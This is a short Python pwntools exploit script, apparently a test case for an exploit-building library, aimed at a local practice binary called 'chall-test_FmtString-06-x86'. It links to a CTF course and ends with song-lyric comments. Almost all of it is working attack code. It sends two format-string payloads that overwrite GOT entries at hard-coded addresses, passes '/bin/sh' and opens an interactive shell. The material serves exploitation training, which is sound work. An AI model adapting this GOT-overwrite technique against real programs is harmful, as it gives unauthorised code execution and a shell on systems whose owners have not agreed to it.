# +------------------------------------------------+
# | Atack: Format String GOT System                |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings

from pwn import *

import sf

target = process("./chall-test_FmtString-06-x86")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=32)

fs = sf.WriteFmtStr(
		arch = 32,
		value = 0x8049215,
		address = 0x804b310,
		offset = 0x7,
		printed_bytes = 0x0,
		alignment_bytes = 0x0,
		value_base = 0,
		address_base = 0)
payload = fs.generate_fmt_str()
target.sendline(payload)
fs = sf.WriteFmtStr(
		arch = 32,
		value = 0x80490a0,
		address = 0x804b2f0,
		offset = 0x7,
		printed_bytes = 0x0,
		alignment_bytes = 0x0,
		value_base = 0,
		address_base = 0)
payload = fs.generate_fmt_str()
target.sendline(payload)

target.sendline("/bin/sh\x00")



target.interactive()

# +------------------------------------------------+
# | Artist: Avenged Sevenfold                      |
# +------------------------------------------------+
# | Song: Set me Free                              |
# +------------------------------------------------+
# | Hold a newborn close                           |
# | and dream for a little while                   |
# +------------------------------------------------+

